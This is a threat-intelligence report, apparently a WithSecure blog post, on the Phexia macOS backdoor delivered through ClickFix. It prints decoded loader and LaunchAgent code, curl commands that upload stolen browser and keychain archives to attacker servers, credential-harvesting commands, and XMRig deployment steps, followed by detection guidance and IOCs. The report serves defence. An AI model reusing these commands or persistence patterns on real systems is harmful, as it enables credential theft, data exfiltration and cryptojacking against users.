Inside Phexia: A macOS malware delivered through ClickFix

Authors

Shashika Harshani

Incident response investigator, WithSecure

Background

Phexia is a modular macOS backdoor and infostealer that is actively sold and leveraged by several threat actors targeting the macOS ecosystem particularly through ClickFix-class campaigns since atleast late 2025. While infostealers such as MacSync and Atomic macOS stealer (AMOS) have generally dominated the commodity macOS infostealer scene in recent years, WithSecure continues to observe a growing number of macOS infections leveraging Phexia since early 2026, indicating an increasing number of threat actors purchasing and leveraging the malware in their campaigns.

WithSecure observed several changes made to the malware since its earliest sightings in late 2025. The most recent and notable change in Phexia occurred in May 2026, when the threat actor started testing smart contracts on the Polygon blockchain as a command-and-control (C2) dead-drop resolver (DDR). The abuse of smart contracts by threat actors as part of their attack chain is generally known as EtherHiding. The malware previously relied on hardcoded C2 domains as well as Telegram channels and Steam profiles as its C2 DDR. The threat actor was observed actively weaponizing the Polygon smart contracts since late May to early June 2026. The earliest Polygon-resolved Phexia C2 activity was observed in WithSecure’s client telemetry in mid June 2026 and continued through summer with latest activity being observed at the time of writing this report.

This blogpost focuses on the latest Phexia builds that take their C2 from the Polygon smart contract. We share what we observed on infected endpoints that is not covered by existing reporting, including previously undocumented C2 infrastructure observed between July and October 2026, as well as insights into operator activity following infection. Guidance on threat hunting and detection, incident response and recovery, MITRE ATT&CK mapping, as well as Indicators of Compromise (IOCs) can be found in the appendices section of this blogpost.

Key findings

  • WithSecure traced Phexia from Terminal execution to credential theft. Observed activity included AppleScript execution, LaunchAgent persistence, login-password capture, and collection of browser data, keychain material and password-manager extension stores.
  • Our analysis identified additional C2 domains through October 2026, a build observed in October used a different Polygon contract for C2 resolution.
  • We established how Phexia’s tasking deployed XMRig. The analysis shows that ledger and shell responses delivered the miner, with repeated reinstallation and changes to mining pools and wallets.
  • C2 rotation did not immediately redirect existing infections. Older domains remained in use, and reinfection could leave multiple builds communicating with separate infrastructure, keeping historical indicators and earlier persistence relevant to incident response.

Phexia infection vectors and execution chain

Across all the latest Phexia infections where WithSecure had visibility into initial execution, the infection chain began with a command executed through Terminal. The command downloaded a shell script and piped its contents directly to bash. The script executed an AppleScript dropper, which installed a persistent AppleScript loader through a LaunchAgent. The loader then retrieved the C2 address from a Polygon smart contract and downloaded the backdoor module. Once running, the backdoor polls the C2 server for commands.

Figure 1. Overview of the latest Phexia infection chain observed in WithSecure telemetry.

Initial access

On almost every infected Mac endpoint, WithSecure telemetry showed the same process ancestry:

  • An interactive shell (zsh or bash) was associated with Terminal as the responsible process.
  • The interactive shell spawned bash.
  • That bash process spawned curl to download the installation script.

The following example shows the process ancestry recorded for curl:

curl -s https://<random>.<domain>/update.sh

parent: bash

grandparent: -zsh

responsible: /System/Applications/Utilities/Terminal.app

The downloaded script was piped to bash for execution. The process ancestry places this activity within an interactive Terminal session, consistent with a user executing a command supplied through ClickFix-style social engineering attack.

The installation script was often named update.sh, however additional names  were also observed, including: script.sh, clear-cache.sh and Terminal.sh. The scripts were hosted on random-looking subdomains, with delivery domains changing between infection waves. Where two Macs were infected on the same day with the same build, both downloaded the script from the same delivery domain.

Earlier infections used different query parameters, including ublib, while a May pre-Polygon infection already used the same curl -s https://<domain>/script.sh form observed in later Polygon-resolved infections.

Our analysis established a strong connection to a specific delivery route on 6 July 2026. WithSecure telemetry recorded downloads from `coeuzgoq.bahisbiz[.]com//update.sh`, matching the exact URL including the double slash documented in public reporting that day. The observed build ID and LaunchAgent label also matched the reported sample. Together, these indicators strongly connect the observed infections to the reported distribution activity and support typosquatting as a likely delivery route.

Public reporting provides additional context for these findings, documenting ClickFix delivery through typosquatted domains and shopping listings that redirect users to fake CAPTCHA pages. While the specific lures associated with the remaining infections could not be established, WithSecure’s endpoint analysis identified a consistent execution chain: a download command executed through Terminal, followed by AppleScript dropper execution and persistence through a LaunchAgent.

Delivery: the dropper and persistence

WithSecure telemetry showed the downloaded shell script launching an AppleScript dropper through osascript -e, with bash recorded as the parent process. The dropper writes a per-user LaunchAgent to ~/Library/LaunchAgents and sets KeepAlive to true, instructing launchd to restart the loader if it exits. The earlier-generation droppers we decoded also explicitly set RunAtLoad, causing execution when the agent is loaded, including at user login.

After writing the LaunchAgent configuration, the dropper executes launchctl unload followed by launchctl loadagainst the same plist. This sequence reloads the agent associated with that configuration, allowing repeated execution of the same dropper to refresh the existing persistence entry.

Our telemetry showed that this process does not remove persistence established by earlier builds under different labels. During reinfection activity observed on 27 October 2026, a new build installed an additional LaunchAgent while the earlier agent remained active. The earlier C2 continued issuing tasks for more than 20 minutes after the new build began communicating with different infrastructure. This demonstrates that reinfection can leave multiple Phexia builds operating concurrently on the same endpoint.

Analysis of the droppers recovered from our telemetry identified two generations:

Builds observed Dropper characteristics LaunchAgent label
June to mid-September 2026 Readable AppleScript do shell script block com.<16 lowercase letters>
From October 2026 Obfuscated AppleScript containing junk variables, dummy properties and arithmetic expressions, consistent with the loader’s obfuscation style com.Apple.<16 lowercase letters>

The October naming pattern appears intended to impersonate an Apple component. However, its capitalised com.Apple. prefix differs from the conventional lowercase com.apple. namespace. Combined with the random-looking suffix and placement in the user’s LaunchAgents directory, this provides a useful hunting indicator. Detection logic should cover both observed label formats and correlate them with the associated script execution.

The October obfuscation did not conceal every installation step. Commands that created the LaunchAgents directory and wrote the plist remained visible as readable shell commands in process telemetry, including mkdir -p “$HOME/Library/LaunchAgents” and the subsequent cat > <file> <<END_PLIST. Both commands appear in process telemetry as readable text, and the plist contents including its label are partly visible.

The following excerpt, decoded from a dropper captured in WithSecure telemetry, shows how the LaunchAgent establishes persistence and executes the embedded loader:

SCRIPT_PATH="$HOME/Library/<label>";
mkdir -p "$HOME/Library/LaunchAgents";
cat > "$HOME/Library/LaunchAgents/com.<label>.plist" <<END_PLIST
…
<key>KeepAlive</key><true/>
<key>RunAtLoad</key><true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>echo '<base64>' | base64 -d | osascript</string>
</array>
END_PLIST
launchctl unload ~/Library/LaunchAgents/com.<label>.plist 2>/dev/null
launchctl load ~/Library/LaunchAgents/com.<label>.plist

Although the dropper defines SCRIPT_PATH under ~/Library, the decoded code does not use it. Instead, the complete loader is stored as a Base64-encoded string within the LaunchAgent’s ProgramArguments. Each time the agent runs, bash decodes the string and pipes the resulting AppleScript directly to osascript. This execution path does not write the decoded loader to a separate script file; the encoded loader remains embedded in the plist.

We also observed differences in the embedded loader’s size between builds, consistent with the variation in obfuscation examined in the next section.

Execution: the loader

WithSecure fully decoded embedded loaders recovered from infected endpoints and compared their behaviour with the wider telemetry. The decoded loaders were functionally equivalent: they used the same Polygon RPC endpoints, contract address, function selector and initial module request. Their differences were confined to the build identifier and obfuscation. The same lookup and bmodule retrieval sequence appeared throughout the Polygon-resolved infections we examined. A build installed on 27 October 2026 queried a different contract, discussed in a later section titled “Blockchain and infrastructure analysis”.

The following abbreviated excerpt shows the decoded loader logic, with descriptive variable names substituted for the original identifiers:

set rpcEndpoints to {"polygon.drpc.org", "polygon.publicnode.com", "polygon-mainnet.gateway.tatum.io", "tenderly.rpc.polygon.community"}
set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
repeat with endpoint in rpcEndpoints
try
set c2 to do shell script "r=$(curl -s --max-time 15 https://" & endpoint & " -X POST -H 'Content-Type: application/json' --data '" & rpcPayload & "'); … | xxd -r -p"
if c2 is not equal "" then exit repeat
end try
end repeat
if c2 is not equal "" then
do shell script "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https://" & quoted form of c2 & " -d " & quoted form of ("txid=<BUILD-ID>&bmodule") & " | osascript"
end if

The loader queries the public RPC endpoints sequentially in the listed order, allowing up to 15 seconds per request. Each request uses eth_call to query the contract at the latest block. We independently calculated the selector for getServerURL() and confirmed that the first four bytes of its Keccak-256 hash are 0x2686ecea, matching the loader’s call data. This follows the function-selector encoding defined by the contract ABI.

The response is parsed using sed, printf and xxd -r -p to extract and decode the C2 hostname. The loader stops querying endpoints once it obtains a non-empty hostname. Most lookups in our telemetry used the first endpoint, polygon.drpc.org. We also observed lookup sequences progressing through PublicNode, Tatum and Tenderly, consistent with earlier attempts failing to produce a usable hostname.

After resolving the C2, the loader requests bmodule with the build identifier in the POST body and pipes the response directly to osascript. The request specifies a five-second connection timeout, a 20-second maximum transfer time and up to three retries, with a five-second retry delay. There is no fallback C2 address in the decoded loaders. If all RPC lookups fail, the loader exits; the existing LaunchAgent configuration causes it to restart and repeat the lookup.

The backdoor module (bmodule)

The loader pipes bmodule directly from the C2 into osascript, without saving it as a standalone script. WithSecure reconstructed its behaviour from the resulting process activity: C2 resolution and validation, host identification, password capture, registration and task polling. Subsequent requests retrieved the stealer modules (smodule and lmodule), ledger and shell payloads, whose execution is examined in the next section.

From 20 October 2026, we observed an additional initialization operation. The backdoor requested txid=<BUILD-ID>&init and executed the response through bash in the background. The returned script uploaded the build identifier, hardware UUID and username, together with an apps field. Every captured upload in this activity sequence contained the same list of application names, consistent with an installed-software inventory.

This operation recurred during 20–27 October, accompanied each observed C2 transition in the associated activity, and continued after reinfection introduced a new build using a second Polygon contract. The pattern is consistent with execution at backdoor startup. We assess with moderate confidence that the operator uses the inventory to inform task selection.

Observed post-compromise activity

WithSecure’s endpoint analysis identified credential capture, browser and keychain data collection, and cryptominer deployment following Phexia infection. Alongside bmodule retrieval, we observed requests for the full and light stealer modules (smodule and lmodule), the ledger module and shell scripts. Initial task-driven activity sometimes began within a minute of the first recorded malicious execution, suggesting that at least part of the tasking was automated.

Password capture

WithSecure observed the backdoor using dscl . authonly to test for an empty account password before validating supplied passwords. Valid credentials are stored in ~/.passphrase for use by the stealer modules. This behaviour is consistent with the fake “System Preferences” dialog described in public analysis.

This password-validation sequence commonly resulted in the user’s login password being written to ~/.passphrase. Where reliable timing data was available, this occurred between less than a minute and approximately eight minutes after initial execution. We also observed delayed activity, with password checks beginning approximately 22 hours after infection and recurring on subsequent days. These observations show that password-capture attempts can continue well beyond the initial installation.

The password was supplied directly to dscl as a command-line argument:
dscl . authonly <REDACTED-USER> <REDACTED-PASSWORD>

This exposes the plaintext password to process-command-line logging, including EDR telemetry and any SIEM receiving those events.

Data theft

Our analysis established the collection activity performed by the stealer modules, including:

  • Browser encryption material. Commands such as security find-generic-password -w -s ‘<Browser> Safe Storage’ targeted keychain entries for Chrome, Microsoft Edge, Brave, Opera and Vivaldi. These secrets can support decryption of saved browser credentials and cookies, while the captured login password can facilitate access to the keychain.
  • Browser profile data. Files including Cookies, History, Login Data and Web Data were copied into /tmp/<long hex>/Browsers/.
  • Password-manager extension data. LastPass and NordPass extension stores, including IndexedDB databases, were copied into /tmp/<long hex>/Extensions/.
  • The login keychain. The database at ~/Library/Keychains/login.keychain-db was copied into the staging directory.
  • Wallet discovery. Directory-existence checks targeted desktop cryptocurrency wallets, including Ledger Wallet. These checks establish discovery activity; they do not independently confirm collection of wallet contents.
  • Host and network information. The malware executed system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType and queried api.ipify.org for the public IP address.

We also decoded a separate AppleScript used to collect Safari cookies. The script created a staging directory ~/tempFolderC, selected the Safari cookies’ file path according to the macOS version, and instructed Finder to copy Cookies.binarycookies into that directory. This delegated access to Finder rather than reading the protected Safari container directly from the stealer process.

The collected data was archived with ditto -c -k –sequesterRsrc into /tmp/<long hex>.zip. We then observed separate multipart upload commands targeting the C2 over HTTPS and 62.60.226[.]50 over unencrypted HTTP:

curl --max-time 90 -F 'txid=<BUILD-ID>' -F 'file=@/tmp/<long hex>.zip' https://<C2>/upload.php

curl --max-time 3000 -F 'txid=<BUILD-ID>' -F 'file=@/tmp/<long hex>.zip' http://62.60.226[.]50/upload.php > /tmp/updstat.txt 2>&1

Both requests submitted the same archive and build identifier. The direct-IP upload allowed a substantially longer timeout – 3,000 seconds compared with 90 seconds and redirected its output and errors to /tmp/updstat.txt.

The ledger module

We observed requests containing txid=<BUILD-ID>&ledger, with the responses passed directly to a shell for execution. No installation of a fake Ledger application was identified in the associated telemetry. Instead, activity in June showed a ledger response downloading and launching XMRig.

Cryptomining through C2 tasking

WithSecure observed XMRig deployment through both the ledger and shell tasking mechanisms. The download commands retrieved the official XMRig 6.26.0 macOS arm64 release from the project’s GitHub repository.

In June 2026, execution of a ledger response initiated the miner download approximately 30 seconds after the first recorded malicious activity:

curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-macos-arm64.tar.gz

In October, miner deployment occurred through shell responses. The first observed request in this sequence was recorded on 20 October, approximately five hours after infection. Further requests followed several times a day:

curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://<C2>/' -d 'uuid=<UUID>&username=<USER>&txid=<BUILD-ID>&shell' | bash

The returned scripts stopped any running xmrig process, downloaded and extracted the release archive again, checked the processor architecture with uname -m, and launched the miner. Observed commands included:

killall xmrig
curl -L -O https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-macos-arm64.tar.gz
tar -xzf xmrig-6.26.0-macos-arm64.tar.gz
chmod +x xmrig-6.26.0/xmrig
mkdir -p /tmp/rigupdater

The initial mining configuration used HashVault over TLS and specified 13 threads:

xmrig -o pool.hashvault[.]sh:443 -u <WALLET-1> -p arm64 -k --tls --threads=13

The repeated deployment continued across C2 transitions from secdarvin2026[.]icu to oreshnik[.]top and svo-zv[.]pro, and then to dhsbdgs[.]icu following reinfection on 27 October. Our telemetry also captured changes to the mining pool, wallet and working directory:

First observed (UTC) Mining pool Wallet Working directory
20 2026 pool.hashvault[.]sh:443 (TLS) 4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L /tmp/rigupdater
26 October 2026 pool.supportxmr[.]com:3333 4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L /tmp/applecomlistupdate
26 October 2026 pool.supportxmr[.]com:3333 82hSZSZNcbCdWd3ESkMDnC5cegaJnFhcG8PUBkMPof5mEdMDCF8cLcE1QuW4h82ggwi4qtfnRwMEgZPKQEnogkvmLFuRLFv /tmp/applecomlistupdate

Blockchain-based C2 resolution and infrastructure

WithSecure’s analysis linked multiple Phexia builds to a shared Polygon contract and tracked the C2 infrastructure used by infected endpoints. The loaders contained no hardcoded C2 domain; instead, the contract supplied a hostname that the operator could replace through a blockchain transaction without modifying the deployed malware.

This separates C2 discovery from the infrastructure serving commands and payloads. Suspending a C2 domain does not remove the on-chain reference, allowing the operator to redirect subsequent lookups to replacement infrastructure. The contract is therefore more resistant to conventional takedown measures, although defenders can still disrupt malicious endpoint activity and access to the associated infrastructure.

Shared contract across builds

From 14 June through 22 October 2026, all recorded Polygon contract lookups in our telemetry targeted:

0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0

The requests used the getServerURL() selector, 0x2686ecea, across several distinct build identifiers. Reuse of the same contract indicates shared control over C2 resolution across these builds. That control could sit with the Phexia service operator or a customer distributing multiple builds; our evidence does not distinguish between those possibilities.

On 27 October, reinfection activity introduced a build querying a different contract:

0x3445fB8Df432320251f611e691fe6B0C6664C960

The lookup resolved to dhsbdgs[.]icu. This was the only additional contract observed in our telemetry. Its appearance establishes a change in the resolver used by that build, but does not establish whether it represents a broader migration or a parallel deployment.

C2 infrastructure observed by WithSecure

The following timeline records the first endpoint observation of each C2 domain, alongside relevant infrastructure events. These timestamps establish when the infrastructure was used in our telemetry, rather than when the corresponding contract value was changed. Domains marked new were not described in the public reporting we reviewed.

Figure 2. Phexia C2 infrastructure observed by WithSecure

Contract updates and endpoint transitions

Contract updates did not immediately redirect existing infections. WithSecure observed continued polling of hf98x4d[.]site through 23 July, approximately a month after the published contract history showed a different C2 hostname. Together with the decoded startup logic, this supports our assessment that endpoints generally retrieve an updated C2 address when the loader or backdoor restarts. Historical C2 domains therefore remain relevant detection indicators after the contract changes.

Conclusion

Phexia demonstrates how a user-executed Terminal command can lead to persistent access and credential theft on macOS. Its reliance on Apple-supplied utilities and build-specific AppleScript obfuscation limits the usefulness of file hashes alone. WithSecure’s investigation instead identified the execution patterns connecting initial access, persistence, data collection and subsequent tasking.

The potential impact extends beyond the endpoint. Captured login passwords, keychain material, browser credentials and session cookies can expose corporate accounts and SaaS applications. Our analysis also established how operators deployed XMRig through Phexia’s tasking channel, repeatedly reinstalling the miner and changing mining pools and wallets. These findings demonstrate multiple ways to monetise access to an infected Mac.

The Polygon-based resolver allows operators to replace C2 infrastructure without updating deployed loaders. Taking down a domain does not remove that resolver. WithSecure has closely monitored Phexia activity since January 2026, tracking its evolving infrastructure through October and identifying a new build that used a different Polygon contract for C2 resolution., alongside changes to persistence naming and additional startup activity that transmitted application names. However, existing infections did not immediately follow infrastructure changes: older domains remained in use, and reinfection could leave multiple builds active concurrently.

As a commercially distributed backdoor, Phexia can reach users through different lures and continue evolving across builds. Defenders should prioritise the behaviours demonstrated in this investigation: Terminal-associated downloads followed by AppleScript execution, LaunchAgents running encoded loaders, Polygon lookups from script-driven processes, and password validation through dscl. Historical infrastructure and earlier persistence should remain within the scope of investigations. These controls should complement user awareness of ClickFix verification prompts and access to approved software installation guidance.

Acknowledgements

The author of this blogpost would like to thank the rest of the team, namely Ari Lappalainen and Mohammad Kazem Hassan Nejad, for their contributions in getting this report published.

Appendices

Detection and hunting guidance

  • Terminal-associated shells downloading and executing scripts, followed byosascript execution and LaunchAgent creation.
  • LaunchAgents under~/Library/LaunchAgents/ with labels matching <16 lowercase letters> or com.Apple.<16 lowercase letters>, whose arguments decode Base64 content and pipe it to osascript.
  • Polygon RPC requests from osascript descendants containing either reported contract address and the 0x2686ecea function selector, visible in command-line telemetry or inspected HTTPS requests.
  • curl POST requests containing txid and Phexia task or module parameters, particularly where responses are piped to osascript, bash or sh.
  • dscl . authonly, browser Safe Storage queries or tccutil reset All within an AppleScript-associated process tree.
  • Archives created under/tmp/ and uploaded through curl multipart requests to php.
  • XMRig downloaded or repeatedly launched by processes associated with Phexia.

Incident response and recovery

  1. Isolate and preserve evidence.Collect relevant telemetry, malicious LaunchAgent plists, ~/.txid, ~/.passphrase and staging artefacts. Secure evidence containing plaintext passwords.
  2. Identify all malicious persistence.Inspect LaunchAgent contents and process ancestry; reinfection can leave multiple builds active. Label patterns alone are insufficient.
  3. Unload before deleting.Remove each confirmed malicious job from its launchd domain, for example with launchctl bootout gui/<uid>/<label>, then delete its plist.
  4. Remove associated processes and artefacts.Terminate confirmed malicious script processes and miners, and remove their payloads, credential files and staging data. Avoid terminating unrelated system processes.
  5. Address credential exposure.From a trusted device, reset affected passwords, revoke active sessions and tokens, and assess password-manager and wallet exposure.
  6. Validate recovery.Reboot after evidence collection and remediation, then check for renewed persistence, C2 traffic or mining. Rebuild from a trusted baseline if compromise cannot be fully scoped or activity returns.
  7. Specific indicators mentioned under the “Indicators of Compromise (IOCs)” section

MITRE ATT&CK mapping

Name ID Description
Acquire Infrastructure: Domains T1583.001 The threat actor used a series of attacker-controlled domains for C2, switching to a new domain every few days to weeks, and random-looking subdomains to host first-stage scripts.
Stage Capabilities: Upload Malware T1608.001 First-stage shell scripts (update.sh, script.sh, clear-cache.sh, Terminal.sh) were hosted on delivery hosts and downloaded by victims.
User Execution: Malicious Copy and Paste T1204.004 Infections began with the victim running a command in an interactive Terminal session that downloaded a shell script and piped it into bash, consistent with a ClickFix lure.
Command and Scripting Interpreter: Unix Shell T1059.004 bash and sh ran the first-stage script, the C2 lookups, module downloads and operator shell tasks.
Command and Scripting Interpreter: AppleScript T1059.002 The dropper, loader, backdoor and stealer modules ran as AppleScript through osascript.
Create or Modify System Process: Launch Agent T1543.001 A per-user LaunchAgent with KeepAlive set restarted the loader whenever it stopped; it was loaded with launchctl.
Obfuscated Files or Information T1027 Each build’s AppleScript was obfuscated differently, with random variable names, meaningless arithmetic and strings rebuilt from character codes.
Obfuscated Files or Information: Encrypted/Encoded File T1027.013 The loader was stored base64-encoded inside the LaunchAgent plist and never written to disk as a readable script.
Deobfuscate/Decode Files or Information T1140 base64 -d decoded the loader at each launch, and xxd -r -p decoded the C2 hostname from the contract response.
Masquerading: Match Legitimate Name or Location T1036.005 October builds used LaunchAgent labels beginning com.Apple., and the miner’s working folder was renamed to /tmp/applecomlistupdate.
Subvert Trust Controls: Gatekeeper Bypass T1553.001 The quarantine attribute was removed from the downloaded miner with xattr -d com.apple.quarantine.
Indicator Removal: File Deletion T1070.004 Miner archives and temporary files were deleted after use.
Hide Artifacts: Hidden Files and Directories T1564.001 The captured password and the build identifier were stored in hidden files, ~/.passphrase and ~/.txid.
Abuse Elevation Control Mechanism: TCC Manipulation T1548.006 The backdoor reset the Mac’s privacy permissions with tccutil reset All; the purpose is unknown.
Input Capture: GUI Input Capture T1056.002 Repeated password checks with dscl . authonly, consistent with a fake “System Preferences” password prompt, continued until the correct password was entered.
Credentials from Password Stores: Keychain T1555.001 The login keychain database was copied, and browser Safe Storage keys were read with security find-generic-password.
Credentials from Password Stores: Credentials from Web Browsers T1555.003 Login Data and Web Data files were copied from browser profiles.
Credentials from Password Stores: Password Managers T1555.005 LastPass and NordPass browser extension data was copied.
Steal Web Session Cookie T1539 Browser cookie databases were copied, and Safari cookies were copied through Finder.
System Information Discovery T1082 The hardware UUID was collected with ioreg, and system details with system_profiler and uname -m.
System Owner/User Discovery T1033 The current username was collected with whoami.
Software Discovery T1518 A start-up step sent an apps field to the C2 describing applications on the Mac.
File and Directory Discovery T1083 The stealer checked for crypto-wallet application folders with test -d and probed extension databases with file -b.
Browser Information Discovery T1217 Browser history files were copied.
System Network Configuration Discovery T1016 The Mac’s public IP address was looked up through api.ipify[.]org.
Data from Local System T1005 Browser, keychain, password-manager and wallet data was collected from the infected Mac.
Data Staged: Local Data Staging T1074.001 Collected data was staged under /tmp/<long hex>/ and ~/tempFolderC before upload.
Archive Collected Data: Archive via Utility T1560.001 Staged data was compressed with ditto -c -k –sequesterRsrc.
Web Service: Dead Drop Resolver T1102.001 The loader and backdoor read the current C2 hostname from Polygon smart contracts through public RPC endpoints.
Application Layer Protocol: Web Protocols T1071.001 C2 checks, registration, task polling and module downloads used HTTPS POST requests.
Ingress Tool Transfer T1105 Modules were downloaded from the C2 and piped into osascript, bash or sh; XMRig was downloaded from GitHub.
Exfiltration Over C2 Channel T1041 Archives of stolen data were uploaded to upload.php on the C2 over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol T1048.003 The same archives were also uploaded to 62.60.226[.]50 over plain HTTP.
Resource Hijacking: Compute Hijacking T1496.001 The XMRig cryptominer was deployed through C2 tasking, via the ledger and shell modules, to mine Monero.

Indicators of Compromise (IOCs)

Polygon smart contracts (C2 lookup)

These cannot be blocked at the network layer. Detect lookups of them instead, through endpoint command lines or a TLS-inspecting proxy.

  • 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0: queried with function selector 0x2686ecea (getServerURL()), June to October 2026
  • 0x3445fB8Df432320251f611e691fe6B0C6664C960: queried by a build installed on 27 October 2026; resolved to dhsbdgs[.]icu

Public Polygon RPC endpoints used for the lookup

These are legitimate services. Treat them as suspicious only when non-browser processes such as osascript contact them.

  • polygon.drpc[.]org
  • polygon.publicnode[.]com
  • polygon-mainnet.gateway.tatum[.]io
  • tenderly.rpc.polygon[.]community

C2 domains

First seen in our telemetry:

  • hf98x4d[.]site (14 Jun 2026)
  • apdhlhs3[.]xyz (6 Jul 2026)
  • j9af4sr[.]guru (16 Jul 2026)
  • 67sixcebeh[.]surf (27 Jul 2026)
  • stv4ec5[.]shop (4 Aug 2026)
  • vg5sgxv[.]lol (25 Aug 2026)
  • d9mjs[.]sbs (7 Sep 2026)
  • jse8x92s[.]me (11 Sep 2026)
  • couhe79[.]xyz (2 Oct 2026)
  • xzttyt[.]xyz (12 Oct 2026)
  • secdarvin2026[.]icu (20 Oct 2026)
  • oreshnik[.]top (22 Oct 2026)
  • svo-zv[.]pro (24 Oct 2026)
  • dhsbdgs[.]icu (27 Oct 2026)

Delivery hosts (first-stage shell scripts)

These are the hosts the pasted command downloaded its script from.

  • hackersteersman[.]digital
  • coeuzgoq.bahisbiz[.]com
  • kefavkd.nextbahis[.]sex
  • d9j.everunningshoes[.]com
  • nox.usa-synadentix[.]com
  • zwa8.meritbethizligir[.]com
  • 355uz90z.bolnhurstrally[.]site
  • 7ulk.irvinaurus[.]fit

The script names fetched were update.sh, script.sh, clear-cache.sh and Terminal.sh.

Upload server

  • 62.60.226[.]50: second upload server for stolen data (http://62.60.226[.]50/upload.php, plain HTTP)

Cryptomining

  • Mining pool: pool.hashvault[.]sh:443 (TLS)
  • Mining pool: pool.supportxmr[.]com:3333
  • Monero wallet: 4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L
  • Monero wallet: 82hSZSZNcbCdWd3ESkMDnC5cegaJnFhcG8PUBkMPof5mEdMDCF8cLcE1QuW4h82ggwi4qtfnRwMEgZPKQEnogkvmLFuRLFv
  • XMRig 6.26.0 macOS arm64, downloaded from the official GitHub releases. The source is legitimate, so treat the download as context only: suspicious when started by a shell whose ancestry leads back to osascript.

Network patterns

  • curl POST request bodies containing txid=<32 hex characters>& followed by init, connect, task, bmodule, smodule, lmodule, ledger or shell
  • A curl started from osascript whose request body is only check
  • JSON-RPC eth_call requests with data 0x2686ecea, sent to either contract above
  • Multipart uploads of /tmp/<long hex>.zip to upload.php

Host artefacts (macOS)

  • ~/Library/LaunchAgents/com.<16 lowercase letters>.plist: persistence, June to mid-September 2026 builds
  • ~/Library/LaunchAgents/com.Apple.<16 lowercase letters>.plist: persistence, October 2026 builds
  • LaunchAgent program arguments: /bin/bash -c “echo ‘<base64>’ | base64 -d | osascript”
  • ~/.passphrase: the captured login password, in plain text
  • ~/.txid: the build identifier
  • ~/tempFolderC/: Safari cookie staging
  • /tmp/<long hex>/, with Browsers/ and Extensions/ subfolders: stealer staging
  • /tmp/<long hex>.zip: archive of stolen data
  • /tmp/updstat.txt: upload result
  • /tmp/rigupdater/ and /tmp/applecomlistupdate/: XMRig working folders

What next?

Discover WithSecure™ Elements Exposure Management.
– No credit card required. No obligations.No complexity.

Related Labs content

Find related content relating to this topic.

Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.

Article

Endpoint Security Malware Ransomware Threat Intelligence

Stolen creds and stinging loaders: An initial access campaign via SEO poisoning

Blog post

AI Security Software Protection Threat Intelligence

GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations

W/Labs

WithSecure uncovers Russia-nexus threat group using AI to target Ukraine and European organisations